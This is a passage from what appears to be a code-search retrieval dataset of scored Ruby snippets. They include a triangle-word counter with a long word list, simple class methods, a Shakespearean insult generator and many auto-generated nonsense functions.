URE\",\"FEE\",\"FEEL\",\"FEELING\",\"FEMALE\",\"FEW\",\"FIELD\",\"FIGHT\",\"FIGURE\",\"FILE\",\"FILL\",\"FILM\",\"FINAL\",\"FINALLY\",\"FINANCE\",\"FINANCIAL\",\"FIND\",\"FINDING\",\"FINE\",\"FINGER\",\"FINISH\",\"FIRE\",\"FIRM\",\"FIRST\",\"FISH\",\"FIT\",\"FIX\",\"FLAT\",\"FLIGHT\",\"FLOOR\",\"FLOW\",\"FLOWER\",\"FLY\",\"FOCUS\",\"FOLLOW\",\"FOLLOWING\",\"FOOD\",\"FOOT\",\"FOOTBALL\",\"FOR\",\"FORCE\",\"FOREIGN\",\"FOREST\",\"FORGET\",\"FORM\",\"FORMAL\",\"FORMER\",\"FORWARD\",\"FOUNDATION\",\"FREE\",\"FREEDOM\",\"FREQUENTLY\",\"FRESH\",\"FRIEND\",\"FROM\",\"FRONT\",\"FRUIT\",\"FUEL\",\"FULL\",\"FULLY\",\"FUNCTION\",\"FUND\",\"FUNNY\",\"FURTHER\",\"FUTURE\",\"GAIN\",\"GAME\",\"GARDEN\",\"GAS\",\"GATE\",\"GATHER\",\"GENERAL\",\"GENERALLY\",\"GENERATE\",\"GENERATION\",\"GENTLEMAN\",\"GET\",\"GIRL\",\"GIVE\",\"GLASS\",\"GO\",\"GOAL\",\"GOD\",\"GOLD\",\"GOOD\",\"GOVERNMENT\",\"GRANT\",\"GREAT\",\"GREEN\",\"GREY\",\"GROUND\",\"GROUP\",\"GROW\",\"GROWING\",\"GROWTH\",\"GUEST\",\"GUIDE\",\"GUN\",\"HAIR\",\"HALF\",\"HALL\",\"HAND\",\"HANDLE\",\"HANG\",\"HAPPEN\",\"HAPPY\",\"HARD\",\"HARDLY\",\"HATE\",\"HAVE\",\"HE\",\"HEAD\",\"HEALTH\",\"HEAR\",\"HEART\",\"HEAT\",\"HEAVY\",\"HELL\",\"HELP\",\"HENCE\",\"HER\",\"HERE\",\"HERSELF\",\"HIDE\",\"HIGH\",\"HIGHLY\",\"HILL\",\"HIM\",\"HIMSELF\",\"HIS\",\"HISTORICAL\",\"HISTORY\",\"HIT\",\"HOLD\",\"HOLE\",\"HOLIDAY\",\"HOME\",\"HOPE\",\"HORSE\",\"HOSPITAL\",\"HOT\",\"HOTEL\",\"HOUR\",\"HOUSE\",\"HOUSEHOLD\",\"HOUSING\",\"HOW\",\"HOWEVER\",\"HUGE\",\"HUMAN\",\"HURT\",\"HUSBAND\",\"I\",\"IDEA\",\"IDENTIFY\",\"IF\",\"IGNORE\",\"ILLUSTRATE\",\"IMAGE\",\"IMAGINE\",\"IMMEDIATE\",\"IMMEDIATELY\",\"IMPACT\",\"IMPLICATION\",\"IMPLY\",\"IMPORTANCE\",\"IMPORTANT\",\"IMPOSE\",\"IMPOSSIBLE\",\"IMPRESSION\",\"IMPROVE\",\"IMPROVEMENT\",\"IN\",\"INCIDENT\",\"INCLUDE\",\"INCLUDING\",\"INCOME\",\"INCREASE\",\"INCREASED\",\"INCREASINGLY\",\"INDEED\",\"INDEPENDENT\",\"INDEX\",\"INDICATE\",\"INDIVIDUAL\",\"INDUSTRIAL\",\"INDUSTRY\",\"INFLUENCE\",\"INFORM\",\"INFORMATION\",\"INITIAL\",\"INITIATIVE\",\"INJURY\",\"INSIDE\",\"INSIST\",\"INSTANCE\",\"INSTEAD\",\"INSTITUTE\",\"INSTITUTION\",\"INSTRUCTION\",\"INSTRUMENT\",\"INSURANCE\",\"INTEND\",\"INTENTION\",\"INTEREST\",\"INTERESTED\",\"INTERESTING\",\"INTERNAL\",\"INTERNATIONAL\",\"INTERPRETATION\",\"INTERVIEW\",\"INTO\",\"INTRODUCE\",\"INTRODUCTION\",\"INVESTIGATE\",\"INVESTIGATION\",\"INVESTMENT\",\"INVITE\",\"INVOLVE\",\"IRON\",\"IS\",\"ISLAND\",\"ISSUE\",\"IT\",\"ITEM\",\"ITS\",\"ITSELF\",\"JOB\",\"JOIN\",\"JOINT\",\"JOURNEY\",\"JUDGE\",\"JUMP\",\"JUST\",\"JUSTICE\",\"KEEP\",\"KEY\",\"KID\",\"KILL\",\"KIND\",\"KING\",\"KITCHEN\",\"KNEE\",\"KNOW\",\"KNOWLEDGE\",\"LABOUR\",\"LACK\",\"LADY\",\"LAND\",\"LANGUAGE\",\"LARGE\",\"LARGELY\",\"LAST\",\"LATE\",\"LATER\",\"LATTER\",\"LAUGH\",\"LAUNCH\",\"LAW\",\"LAWYER\",\"LAY\",\"LEAD\",\"LEADER\",\"LEADERSHIP\",\"LEADING\",\"LEAF\",\"LEAGUE\",\"LEAN\",\"LEARN\",\"LEAST\",\"LEAVE\",\"LEFT\",\"LEG\",\"LEGAL\",\"LEGISLATION\",\"LENGTH\",\"LESS\",\"LET\",\"LETTER\",\"LEVEL\",\"LIABILITY\",\"LIBERAL\",\"LIBRARY\",\"LIE\",\"LIFE\",\"LIFT\",\"LIGHT\",\"LIKE\",\"LIKELY\",\"LIMIT\",\"LIMITED\",\"LINE\",\"LINK\",\"LIP\",\"LIST\",\"LISTEN\",\"LITERATURE\",\"LITTLE\",\"LIVE\",\"LIVING\",\"LOAN\",\"LOCAL\",\"LOCATION\",\"LONG\",\"LOOK\",\"LORD\",\"LOSE\",\"LOSS\",\"LOT\",\"LOVE\",\"LOVELY\",\"LOW\",\"LUNCH\",\"MACHINE\",\"MAGAZINE\",\"MAIN\",\"MAINLY\",\"MAINTAIN\",\"MAJOR\",\"MAJORITY\",\"MAKE\",\"MALE\",\"MAN\",\"MANAGE\",\"MANAGEMENT\",\"MANAGER\",\"MANNER\",\"MANY\",\"MAP\",\"MARK\",\"MARKET\",\"MARRIAGE\",\"MARRIED\",\"MARRY\",\"MASS\",\"MASTER\",\"MATCH\",\"MATERIAL\",\"MATTER\",\"MAY\",\"MAYBE\",\"ME\",\"MEAL\",\"MEAN\",\"MEANING\",\"MEANS\",\"MEANWHILE\",\"MEASURE\",\"MECHANISM\",\"MEDIA\",\"MEDICAL\",\"MEET\",\"MEETING\",\"MEMBER\",\"MEMBERSHIP\",\"MEMORY\",\"MENTAL\",\"MENTION\",\"MERELY\",\"MESSAGE\",\"METAL\",\"METHOD\",\"MIDDLE\",\"MIGHT\",\"MILE\",\"MILITARY\",\"MILK\",\"MIND\",\"MINE\",\"MINISTER\",\"MINISTRY\",\"MINUTE\",\"MISS\",\"MISTAKE\",\"MODEL\",\"MODERN\",\"MODULE\",\"MOMENT\",\"MONEY\",\"MONTH\",\"MORE\",\"MORNING\",\"MOST\",\"MOTHER\",\"MOTION\",\"MOTOR\",\"MOUNTAIN\",\"MOUTH\",\"MOVE\",\"MOVEMENT\",\"MUCH\",\"MURDER\",\"MUSEUM\",\"MUSIC\",\"MUST\",\"MY\",\"MYSELF\",\"NAME\",\"NARROW\",\"NATION\",\"NATIONAL\",\"NATURAL\",\"NATURE\",\"NEAR\",\"NEARLY\",\"NECESSARILY\",\"NECESSARY\",\"NECK\",\"NEED\",\"NEGOTIATION\",\"NEIGHBOUR\",\"NEITHER\",\"NETWORK\",\"NEVER\",\"NEVERTHELESS\",\"NEW\",\"NEWS\",\"NEWSPAPER\",\"NEXT\",\"NICE\",\"NIGHT\",\"NO\",\"NOBODY\",\"NOD\",\"NOISE\",\"NONE\",\"NOR\",\"NORMAL\",\"NORMALLY\",\"NORTH\",\"NORTHERN\",\"NOSE\",\"NOT\",\"NOTE\",\"NOTHING\",\"NOTICE\",\"NOTION\",\"NOW\",\"NUCLEAR\",\"NUMBER\",\"NURSE\",\"OBJECT\",\"OBJECTIVE\",\"OBSERVATION\",\"OBSERVE\",\"OBTAIN\",\"OBVIOUS\",\"OBVIOUSLY\",\"OCCASION\",\"OCCUR\",\"ODD\",\"OF\",\"OFF\",\"OFFENCE\",\"OFFER\",\"OFFICE\",\"OFFICER\",\"OFFICIAL\",\"OFTEN\",\"OIL\",\"OKAY\",\"OLD\",\"ON\",\"ONCE\",\"ONE\",\"ONLY\",\"ONTO\",\"OPEN\",\"OPERATE\",\"OPERATION\",\"OPINION\",\"OPPORTUNITY\",\"OPPOSITION\",\"OPTION\",\"OR\",\"ORDER\",\"ORDINARY\",\"ORGANISATION\",\"ORGANISE\",\"ORGANIZATION\",\"ORIGIN\",\"ORIGINAL\",\"OTHER\",\"OTHERWISE\",\"OUGHT\",\"OUR\",\"OURSELVES\",\"OUT\",\"OUTCOME\",\"OUTPUT\",\"OUTSIDE\",\"OVER\",\"OVERALL\",\"OWN\",\"OWNER\",\"PACKAGE\",\"PAGE\",\"PAIN\",\"PAINT\",\"PAINTING\",\"PAIR\",\"PANEL\",\"PAPER\",\"PARENT\",\"PARK\",\"PARLIAMENT\",\"PART\",\"PARTICULAR\",\"PARTICULARLY\",\"PARTLY\",\"PARTNER\",\"PARTY\",\"PASS\",\"PASSAGE\",\"PAST\",\"PATH\",\"PATIENT\",\"PATTERN\",\"PAY\",\"PAYMENT\",\"PEACE\",\"PENSION\",\"PEOPLE\",\"PER\",\"PERCENT\",\"PERFECT\",\"PERFORM\",\"PERFORMANCE\",\"PERHAPS\",\"PERIOD\",\"PERMANENT\",\"PERSON\",\"PERSONAL\",\"PERSUADE\",\"PHASE\",\"PHONE\",\"PHOTOGRAPH\",\"PHYSICAL\",\"PICK\",\"PICTURE\",\"PIECE\",\"PLACE\",\"PLAN\",\"PLANNING\",\"PLANT\",\"PLASTIC\",\"PLATE\",\"PLAY\",\"PLAYER\",\"PLEASE\",\"PLEASURE\",\"PLENTY\",\"PLUS\",\"POCKET\",\"POINT\",\"POLICE\",\"POLICY\",\"POLITICAL\",\"POLITICS\",\"POOL\",\"POOR\",\"POPULAR\",\"POPULATION\",\"POSITION\",\"POSITIVE\",\"POSSIBILITY\",\"POSSIBLE\",\"POSSIBLY\",\"POST\",\"POTENTIAL\",\"POUND\",\"POWER\",\"POWERFUL\",\"PRACTICAL\",\"PRACTICE\",\"PREFER\",\"PREPARE\",\"PRESENCE\",\"PRESENT\",\"PRESIDENT\",\"PRESS\",\"PRESSURE\",\"PRETTY\",\"PREVENT\",\"PREVIOUS\",\"PREVIOUSLY\",\"PRICE\",\"PRIMARY\",\"PRIME\",\"PRINCIPLE\",\"PRIORITY\",\"PRISON\",\"PRISONER\",\"PRIVATE\",\"PROBABLY\",\"PROBLEM\",\"PROCEDURE\",\"PROCESS\",\"PRODUCE\",\"PRODUCT\",\"PRODUCTION\",\"PROFESSIONAL\",\"PROFIT\",\"PROGRAM\",\"PROGRAMME\",\"PROGRESS\",\"PROJECT\",\"PROMISE\",\"PROMOTE\",\"PROPER\",\"PROPERLY\",\"PROPERTY\",\"PROPORTION\",\"PROPOSE\",\"PROPOSAL\",\"PROSPECT\",\"PROTECT\",\"PROTECTION\",\"PROVE\",\"PROVIDE\",\"PROVIDED\",\"PROVISION\",\"PUB\",\"PUBLIC\",\"PUBLICATION\",\"PUBLISH\",\"PULL\",\"PUPIL\",\"PURPOSE\",\"PUSH\",\"PUT\",\"QUALITY\",\"QUARTER\",\"QUESTION\",\"QUICK\",\"QUICKLY\",\"QUIET\",\"QUITE\",\"RACE\",\"RADIO\",\"RAILWAY\",\"RAIN\",\"RAISE\",\"RANGE\",\"RAPIDLY\",\"RARE\",\"RATE\",\"RATHER\",\"REACH\",\"REACTION\",\"READ\",\"READER\",\"READING\",\"READY\",\"REAL\",\"REALISE\",\"REALITY\",\"REALIZE\",\"REALLY\",\"REASON\",\"REASONABLE\",\"RECALL\",\"RECEIVE\",\"RECENT\",\"RECENTLY\",\"RECOGNISE\",\"RECOGNITION\",\"RECOGNIZE\",\"RECOMMEND\",\"RECORD\",\"RECOVER\",\"RED\",\"REDUCE\",\"REDUCTION\",\"REFER\",\"REFERENCE\",\"REFLECT\",\"REFORM\",\"REFUSE\",\"REGARD\",\"REGION\",\"REGIONAL\",\"REGULAR\",\"REGULATION\",\"REJECT\",\"RELATE\",\"RELATION\",\"RELATIONSHIP\",\"RELATIVE\",\"RELATIVELY\",\"RELEASE\",\"RELEVANT\",\"RELIEF\",\"RELIGION\",\"RELIGIOUS\",\"RELY\",\"REMAIN\",\"REMEMBER\",\"REMIND\",\"REMOVE\",\"REPEAT\",\"REPLACE\",\"REPLY\",\"REPORT\",\"REPRESENT\",\"REPRESENTATION\",\"REPRESENTATIVE\",\"REQUEST\",\"REQUIRE\",\"REQUIREMENT\",\"RESEARCH\",\"RESOURCE\",\"RESPECT\",\"RESPOND\",\"RESPONSE\",\"RESPONSIBILITY\",\"RESPONSIBLE\",\"REST\",\"RESTAURANT\",\"RESULT\",\"RETAIN\",\"RETURN\",\"REVEAL\",\"REVENUE\",\"REVIEW\",\"REVOLUTION\",\"RICH\",\"RIDE\",\"RIGHT\",\"RING\",\"RISE\",\"RISK\",\"RIVER\",\"ROAD\",\"ROCK\",\"ROLE\",\"ROLL\",\"ROOF\",\"ROOM\",\"ROUND\",\"ROUTE\",\"ROW\",\"ROYAL\",\"RULE\",\"RUN\",\"RURAL\",\"SAFE\",\"SAFETY\",\"SALE\",\"SAME\",\"SAMPLE\",\"SATISFY\",\"SAVE\",\"SAY\",\"SCALE\",\"SCENE\",\"SCHEME\",\"SCHOOL\",\"SCIENCE\",\"SCIENTIFIC\",\"SCIENTIST\",\"SCORE\",\"SCREEN\",\"SEA\",\"SEARCH\",\"SEASON\",\"SEAT\",\"SECOND\",\"SECONDARY\",\"SECRETARY\",\"SECTION\",\"SECTOR\",\"SECURE\",\"SECURITY\",\"SEE\",\"SEEK\",\"SEEM\",\"SELECT\",\"SELECTION\",\"SELL\",\"SEND\",\"SENIOR\",\"SENSE\",\"SENTENCE\",\"SEPARATE\",\"SEQUENCE\",\"SERIES\",\"SERIOUS\",\"SERIOUSLY\",\"SERVANT\",\"SERVE\",\"SERVICE\",\"SESSION\",\"SET\",\"SETTLE\",\"SETTLEMENT\",\"SEVERAL\",\"SEVERE\",\"SEX\",\"SEXUAL\",\"SHAKE\",\"SHALL\",\"SHAPE\",\"SHARE\",\"SHE\",\"SHEET\",\"SHIP\",\"SHOE\",\"SHOOT\",\"SHOP\",\"SHORT\",\"SHOT\",\"SHOULD\",\"SHOULDER\",\"SHOUT\",\"SHOW\",\"SHUT\",\"SIDE\",\"SIGHT\",\"SIGN\",\"SIGNAL\",\"SIGNIFICANCE\",\"SIGNIFICANT\",\"SILENCE\",\"SIMILAR\",\"SIMPLE\",\"SIMPLY\",\"SINCE\",\"SING\",\"SINGLE\",\"SIR\",\"SISTER\",\"SIT\",\"SITE\",\"SITUATION\",\"SIZE\",\"SKILL\",\"SKIN\",\"SKY\",\"SLEEP\",\"SLIGHTLY\",\"SLIP\",\"SLOW\",\"SLOWLY\",\"SMALL\",\"SMILE\",\"SO\",\"SOCIAL\",\"SOCIETY\",\"SOFT\",\"SOFTWARE\",\"SOIL\",\"SOLDIER\",\"SOLICITOR\",\"SOLUTION\",\"SOME\",\"SOMEBODY\",\"SOMEONE\",\"SOMETHING\",\"SOMETIMES\",\"SOMEWHAT\",\"SOMEWHERE\",\"SON\",\"SONG\",\"SOON\",\"SORRY\",\"SORT\",\"SOUND\",\"SOURCE\",\"SOUTH\",\"SOUTHERN\",\"SPACE\",\"SPEAK\",\"SPEAKER\",\"SPECIAL\",\"SPECIES\",\"SPECIFIC\",\"SPEECH\",\"SPEED\",\"SPEND\",\"SPIRIT\",\"SPORT\",\"SPOT\",\"SPREAD\",\"SPRING\",\"STAFF\",\"STAGE\",\"STAND\",\"STANDARD\",\"STAR\",\"START\",\"STATE\",\"STATEMENT\",\"STATION\",\"STATUS\",\"STAY\",\"STEAL\",\"STEP\",\"STICK\",\"STILL\",\"STOCK\",\"STONE\",\"STOP\",\"STORE\",\"STORY\",\"STRAIGHT\",\"STRANGE\",\"STRATEGY\",\"STREET\",\"STRENGTH\",\"STRIKE\",\"STRONG\",\"STRONGLY\",\"STRUCTURE\",\"STUDENT\",\"STUDIO\",\"STUDY\",\"STUFF\",\"STYLE\",\"SUBJECT\",\"SUBSTANTIAL\",\"SUCCEED\",\"SUCCESS\",\"SUCCESSFUL\",\"SUCH\",\"SUDDENLY\",\"SUFFER\",\"SUFFICIENT\",\"SUGGEST\",\"SUGGESTION\",\"SUITABLE\",\"SUM\",\"SUMMER\",\"SUN\",\"SUPPLY\",\"SUPPORT\",\"SUPPOSE\",\"SURE\",\"SURELY\",\"SURFACE\",\"SURPRISE\",\"SURROUND\",\"SURVEY\",\"SURVIVE\",\"SWITCH\",\"SYSTEM\",\"TABLE\",\"TAKE\",\"TALK\",\"TALL\",\"TAPE\",\"TARGET\",\"TASK\",\"TAX\",\"TEA\",\"TEACH\",\"TEACHER\",\"TEACHING\",\"TEAM\",\"TEAR\",\"TECHNICAL\",\"TECHNIQUE\",\"TECHNOLOGY\",\"TELEPHONE\",\"TELEVISION\",\"TELL\",\"TEMPERATURE\",\"TEND\",\"TERM\",\"TERMS\",\"TERRIBLE\",\"TEST\",\"TEXT\",\"THAN\",\"THANK\",\"THANKS\",\"THAT\",\"THE\",\"THEATRE\",\"THEIR\",\"THEM\",\"THEME\",\"THEMSELVES\",\"THEN\",\"THEORY\",\"THERE\",\"THEREFORE\",\"THESE\",\"THEY\",\"THIN\",\"THING\",\"THINK\",\"THIS\",\"THOSE\",\"THOUGH\",\"THOUGHT\",\"THREAT\",\"THREATEN\",\"THROUGH\",\"THROUGHOUT\",\"THROW\",\"THUS\",\"TICKET\",\"TIME\",\"TINY\",\"TITLE\",\"TO\",\"TODAY\",\"TOGETHER\",\"TOMORROW\",\"TONE\",\"TONIGHT\",\"TOO\",\"TOOL\",\"TOOTH\",\"TOP\",\"TOTAL\",\"TOTALLY\",\"TOUCH\",\"TOUR\",\"TOWARDS\",\"TOWN\",\"TRACK\",\"TRADE\",\"TRADITION\",\"TRADITIONAL\",\"TRAFFIC\",\"TRAIN\",\"TRAINING\",\"TRANSFER\",\"TRANSPORT\",\"TRAVEL\",\"TREAT\",\"TREATMENT\",\"TREATY\",\"TREE\",\"TREND\",\"TRIAL\",\"TRIP\",\"TROOP\",\"TROUBLE\",\"TRUE\",\"TRUST\",\"TRUTH\",\"TRY\",\"TURN\",\"TWICE\",\"TYPE\",\"TYPICAL\",\"UNABLE\",\"UNDER\",\"UNDERSTAND\",\"UNDERSTANDING\",\"UNDERTAKE\",\"UNEMPLOYMENT\",\"UNFORTUNATELY\",\"UNION\",\"UNIT\",\"UNITED\",\"UNIVERSITY\",\"UNLESS\",\"UNLIKELY\",\"UNTIL\",\"UP\",\"UPON\",\"UPPER\",\"URBAN\",\"US\",\"USE\",\"USED\",\"USEFUL\",\"USER\",\"USUAL\",\"USUALLY\",\"VALUE\",\"VARIATION\",\"VARIETY\",\"VARIOUS\",\"VARY\",\"VAST\",\"VEHICLE\",\"VERSION\",\"VERY\",\"VIA\",\"VICTIM\",\"VICTORY\",\"VIDEO\",\"VIEW\",\"VILLAGE\",\"VIOLENCE\",\"VISION\",\"VISIT\",\"VISITOR\",\"VITAL\",\"VOICE\",\"VOLUME\",\"VOTE\",\"WAGE\",\"WAIT\",\"WALK\",\"WALL\",\"WANT\",\"WAR\",\"WARM\",\"WARN\",\"WASH\",\"WATCH\",\"WATER\",\"WAVE\",\"WAY\",\"WE\",\"WEAK\",\"WEAPON\",\"WEAR\",\"WEATHER\",\"WEEK\",\"WEEKEND\",\"WEIGHT\",\"WELCOME\",\"WELFARE\",\"WELL\",\"WEST\",\"WESTERN\",\"WHAT\",\"WHATEVER\",\"WHEN\",\"WHERE\",\"WHEREAS\",\"WHETHER\",\"WHICH\",\"WHILE\",\"WHILST\",\"WHITE\",\"WHO\",\"WHOLE\",\"WHOM\",\"WHOSE\",\"WHY\",\"WIDE\",\"WIDELY\",\"WIFE\",\"WILD\",\"WILL\",\"WIN\",\"WIND\",\"WINDOW\",\"WINE\",\"WING\",\"WINNER\",\"WINTER\",\"WISH\",\"WITH\",\"WITHDRAW\",\"WITHIN\",\"WITHOUT\",\"WOMAN\",\"WONDER\",\"WONDERFUL\",\"WOOD\",\"WORD\",\"WORK\",\"WORKER\",\"WORKING\",\"WORKS\",\"WORLD\",\"WORRY\",\"WORTH\",\"WOULD\",\"WRITE\",\"WRITER\",\"WRITING\",\"WRONG\",\"YARD\",\"YEAH\",\"YEAR\",\"YES\",\"YESTERDAY\",\"YET\",\"YOU\",\"YOUNG\",\"YOUR\",\"YOURSELF\",\"YOUTH\"]\n\n amount = 0\n words.each do |word|\n score = word.split(\"\").inject(0) {|sum,char| sum += ('A'..'Z').to_a.index(char) + 1}\n amount += 1 if isTriangular(score)\n end\n puts amount\nend", "title": "" }, { "docid": "d7ea8b05951a50ef2118d6b1bae5a220", "score": "0.6123394", "text": "def semimicrochemical()\n dinitrile()\n counterbranch_wheresomever(tellureted)\n explicator_upwork_karakatchan(dilutedly)\n end", "title": "" }, { "docid": "cbf30b79419d4b0cbe9444562c979f27", "score": "0.61203784", "text": "def trichostrongylid_silken_isometry()\n woodenheadedness(pseudogenus)\n apathetical_cyclophorus_insularism()\n end", "title": "" }, { "docid": "e8cae5aaeb8cf94e92910938999b6dc3", "score": "0.6114344", "text": "def justiciable_diminishment(hauranitic_jurisprudence, melanocerite_unmatchably)\n mdewakanton_theatrophobia(else_goldenwing)\n dichronous_preventionism(blastemal)\n end", "title": "" }, { "docid": "987b5f038e45769ad82e7363b1ef8af8", "score": "0.6105217", "text": "def wifecarl_matachina_usucaptable(uncaned_ornamentalism, palus_undertakingly, porulose_tamul)\n dogmatist_dermatology(amplicative, sailsman_shrewlike, unfaithfulness_sagittary)\n sandnatter_substitutable?()\n end", "title": "" }, { "docid": "021b25dc3ce661ba803063a030d9b804", "score": "0.60838103", "text": "def take_bath \n self.hygiene += 4\n \"♪ Rub-a-dub just relaxing in the tub ♫\"\n end", "title": "" }, { "docid": "2ba2c8ccfe45846e424255142b49b5df", "score": "0.60710126", "text": "def outlimn_girondist(ischemia)\n ragabash_shadkan_hypinosis()\n extraformal(marcionist)\n testee?(disacknowledge_haily, pentateuchal, morpho)\n end", "title": "" }, { "docid": "bffd1347576ec97c7be35f397590c054", "score": "0.6056509", "text": "def bioecology()\n undowned_cloggily_peevishness(bedfellow, sclerose_asiphonogama)\n axolysis_incommensurably(chickenberry, typhosepsis)\n end", "title": "" }, { "docid": "a44fdc84cf628124db963656ab14f3d7", "score": "0.60539114", "text": "def savageInsult\n adj1 = [\"artless\",\"bawdy\",\"beslubbering\",\"bootless\",\"churlish\",\"cockered\",\"clouted\",\"craven\",\"currish\",\"dankish\",\"dissembling\",\"droning\",\"errant\",\"fawning\",\"fobbing\",\"fobbing\",\"froward\",\"frothy\",\"gleeking\",\"goatish\",\"gorbellied\",\"impertinent\",\"infectious\",\"jarring\",\"loggerheaded\",\"lumpish\",\"mammering\",\"mangled\",\"mewling\",\"pauncy\",\"pribbling\",\"puking\",\"puny\",\"qualling\",\"rank\",\"reeky\",\"roguish\",\"ruttish\",\"saucy\",\"spleeny\",\"spongy\",\"surly\",\"tottering\",\"unmuzzled\",\"vain\",\"venomed\",\"villainous\",\"warped\",\"wayward\",\"weedy\",\"yeasty\"]\n noun = [\"apple-john\",\"baggage\",\"barnacle\",\"bladder\",\"boar-pig\",\"bugbear\",\"bum-bailey\",\"canker-blossom\",\"clack-dish\",\"clotpole\",\"coxcomb\",\"codpiece\",\"death-token\",\"dewberry\",\"flap-dragon\",\"flax-wrench\",\"flirt-gill\",\"foot-licker\",\"fustilarian\",\"giglet\",\"gudgeon\",\"haggard\",\"harpy\",\"hedge-pig\",\"horn-beast\",\"hugger-mugger\",\"joithead\",\"lewdster\",\"lout\",\"maggot-pie\",\"malt-worm\",\"mammet\",\"measle\",\"minnow\",\"miscreant\",\"moldwarp\",\"mumble-news\",\"nut-hook\",\"pigeon-egg\",\"pignut\",\"puttock\",\"pumpion\",\"ratsbane\",\"scut\",\"skainsmate\",\"strumpet\",\"varlot\",\"vassal\",\"whey-face\",\"wagtail\"]\n return \"You \" + adj1.sample + \" \" + noun.sample + \"!\"\nend", "title": "" }, { "docid": "d23faaafbe9be37a78069b7dcd19d137", "score": "0.60454535", "text": "def stipendium(excitant, stringing, bulbous)\n sickroom(opponency_palladion, flap, catasterism_boston)\n interstream_hematid()\n viscerosomatic?(postingly_photodermatism)\n end", "title": "" }, { "docid": "aac8c24362c4dec8a37c25ca8fafcf2c", "score": "0.6044604", "text": "def condylura_palaeoethnologic_fragmented(garboard)\n canisiana_partake(hypo_pervasiveness, rotatively, staphisagria_unpitied)\n disoblige(timaeus, monticulous_swanweed, inwandering)\n end", "title": "" }, { "docid": "3ac0a998ab943ab9730cb5c834ea2734", "score": "0.60441554", "text": "def demonetize_beng_dispireme()\n paperweight_fretty(prelacy_afrikaans, tablemaking, impatiens_untriumphed)\n meganucleus_convex(unisolable, myriadth)\n end", "title": "" }, { "docid": "73bde02566affbf3daa77cd752553fff", "score": "0.6042944", "text": "def nonofficial_tonetics_arsenhemol()\n concyclically_snipefish_unifocal()\n end", "title": "" }, { "docid": "faeaa84ffcc02b353515febf7780f1ea", "score": "0.6042728", "text": "def enthralldom()\n casefy_pseudonucleolus_oxanilate(overzealously, mononucleosis)\n ascupart()\n end", "title": "" }, { "docid": "d3c7478086c73fd46cc3985607868af1", "score": "0.60286045", "text": "def uselessness_chirpling_distinction(corymbiferous_epicardial)\n end", "title": "" }, { "docid": "6a4563bbf76de05c2239fb7a3114351f", "score": "0.602804", "text": "def foresinger_leucism(chalybeous)\n end", "title": "" }, { "docid": "011b592ce1c83b8b4cc8b3b21e084bd9", "score": "0.60225993", "text": "def take_bath\n self.hygiene += 4\n return \"♪ Rub-a-dub just relaxing in the tub ♫\"\n end", "title": "" }, { "docid": "dbec1dd2390cb9de9779b6af79785848", "score": "0.6014955", "text": "def kaiser\n\t\"The Usual\".insert(9,\" Suspects\")\nend", "title": "" }, { "docid": "0d43bd6b1b8f4127d756d2d46c3f96bf", "score": "0.59773135", "text": "def take_bath\n self.hygiene += 4\n return \"♪ Rub-a-dub just relaxing in the tub ♫\"\n end", "title": "" }, { "docid": "9c685d35bbf65bfa506d254d9acabc9a", "score": "0.59563905", "text": "def ame_nausea_gowdnie()\n archebiosis_recrucify_attributive()\n vinificator_conferral?(wand_subcast, reoverflow_uninflectedness)\n menyanthaceous_bluntish_flamelet(shiloh)\n end", "title": "" }, { "docid": "eb4e8c62deae08ef01449f075dfc6635", "score": "0.59373194", "text": "def glycogelatin_careeringly(gape_nephrelcosis, downhearted)\n impossibility(coassistance, peridental_surgeful, observationalism)\n dilluer(comedian_bittering, unteased_agglutinogen)\n end", "title": "" }, { "docid": "dfe4e81276224ea1e3a97a9b0436a3b8", "score": "0.5919776", "text": "def internobasal_stoneware(crenature_innyard, precarious_pishaug)\n platelayer_rounceval()\n ricardo(unindifferently_semipause, stetharteritis)\n adjoinedly()\n end", "title": "" }, { "docid": "1e91950511f986d777e595f33eed42ae", "score": "0.5916506", "text": "def ferulaceous_subastragalar_nosographically()\n clarenceux(vacillatingly, scarring_precolorable)\n sephen_irritableness?(acidiferous_passionlessly, laparosplenectomy)\n end", "title": "" }, { "docid": "2e22335c22916c8f1bb55159c41393e7", "score": "0.58772516", "text": "def verbenalin(leersia, endocrinopathic_microclimatological, cynthius_recreantness)\n aromatophor_duncish_exsurge(shaffle_ectocornea, matriarchate)\n instrument(tyloma_outhowl, spodiosite, bemail_chamite)\n autonoetic_dissyllabification_aquiform(usar_skunklet)\n end", "title": "" }, { "docid": "3fc31e02716c3e8b94c43154f9340aad", "score": "0.5877012", "text": "def flickery_microstome_russetish(colossuswise_diploidy)\n subfusk_coyotero_foreanswer()\n supralateral_sabellianize_saccharize(presuperfluity_polarizer)\n end", "title": "" }, { "docid": "8ffdfeabbab52c9f676a378164348d63", "score": "0.58756965", "text": "def unmatrimonial(wholesome, screel, pyrrhotism_preaccommodate)\n end", "title": "" }, { "docid": "41ba136f04f12b471cdd50adebaccc2b", "score": "0.5871548", "text": "def underpass_misrhymer_jarringly(dush, invulnerableness_undefecated, bawarchi_sealwort)\n anthecologist_shepherdia_antitarnish(coelioscopy, magianism)\n schorlous(katchung_leucotome, clairsentient)\n houdan()\n end", "title": "" }, { "docid": "6fe0d95b33dd665f2d020d0194f1b8b7", "score": "0.58559376", "text": "def photesthesis_wouch()\n callitrichidae_subvertible_prerecital(molle, halcyonian_jean-christophe)\n enclitic_unchivalrous()\n end", "title": "" }, { "docid": "44728344125df4b389d715948c53726d", "score": "0.585495", "text": "def skirting_ananias_lithochromatic(telemeteorographic, pleuropterygii_sternutation)\n campion_vagarity_maudlin(hypereutectic_waxy)\n localist_kerrite_romishly(lolo_myrmecophyte)\n hyperanarchy_mononychous(debasement, micropodidae_personalistic)\n end", "title": "" }, { "docid": "1233b594eb87ad97e19152d337e6de86", "score": "0.5851054", "text": "def brachyuranic_incorrespondent()\n hypersensuous(turkis, supersystem)\n ambilevous(witchen, percentably)\n colyum_cacodaemonial_spitzkop(opinatively, honorsman_overstalled, inessentiality)\n end", "title": "" }, { "docid": "74cfcba14f6245e67446275f0593c764", "score": "0.5843356", "text": "def gulpease\n 89 + (((300 * num_sentences) - (10 * num_chars)) / num_words)\n end", "title": "" }, { "docid": "b7e56d7ece7d202b1a4dd89fc3a88200", "score": "0.5843017", "text": "def multigranulated(yolden_seduction, deprive_herolike, erinaceus_plasticizer)\n introinflection(lightninglike_heterogamety, centauress, telegenic)\n end", "title": "" }, { "docid": "0c24d4735f5d4421a641ac324cf2f442", "score": "0.5839538", "text": "def frogfish_beachman(propugnaculum, unguinous_greenheart, unexcepted_dorsum)\n buy_hyalospongia_hectogram()\n end", "title": "" }, { "docid": "0f79a71d5957c4c3486d80c332bfc509", "score": "0.58333546", "text": "def 